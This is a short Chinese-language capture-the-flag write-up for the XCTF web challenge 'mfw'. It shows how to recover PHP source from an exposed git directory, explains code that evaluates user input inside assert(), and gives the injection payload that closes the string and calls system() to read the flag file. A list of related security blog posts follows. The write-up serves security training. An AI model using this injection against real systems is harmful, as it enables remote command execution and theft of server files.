XCTF-web-mfw

发现了git

使用GitHack下载一下源文件,找到了php源代码

csharp 复制代码
<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

解析

csharp 复制代码
<?php
// 获取GET参数中的page值,如果不存在则默认为"home"
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

// 拼接文件路径,将page值作为文件名
$file = "templates/" . $page . ".php";

// 安全检查:确保路径中不包含".."(目录遍历攻击防护)
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// 安全检查:确保文件存在
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

解题:

?page=').system("cat templates/flag.php");//

')进行闭合

system("cat templates/flag.php")表示在系统中执行cat templates/flag.php命令,该命令用于查看templates目录下的flag.php文件内容

在源码中可以看到flag

相关推荐
JQLvopkk7 小时前
2024年网络安全预防
网络安全
Bruce_Liuxiaowei7 小时前
融媒体中心网络安全应急预案(通用技术框架)
网络·web安全·网络安全·媒体
lingggggaaaa11 小时前
小迪安全v2023学习笔记(五十讲)—— 持续更新中
笔记·学习·安全·web安全·网络安全
学习溢出14 小时前
【网络安全】日志文件格式
安全·网络安全·系统安全·日志分析·系统日志
周先森的怣忈20 小时前
渗透高级-----应急响应
网络安全
Johny_Zhao1 天前
阿里云平台健康检查巡检清单-运维篇
linux·网络安全·阿里云·信息安全·云计算·shell·系统运维
芯盾时代2 天前
芯盾时代受邀出席安全可信数据要素交易流通利用研讨会
安全·网络安全·数据安全·芯盾时代
网安Ruler2 天前
Web开发-PHP应用&原生语法&全局变量&数据接受&身份验证&变量覆盖&任意上传(代码审计案例)
网络·安全·网络安全·渗透·红队
JQLvopkk3 天前
Web安全学习步骤
网络安全
网安Ruler3 天前
Web开发-PHP应用&Cookie脆弱&Session固定&Token唯一&身份验证&数据库通讯
前端·数据库·网络安全·php·渗透·红队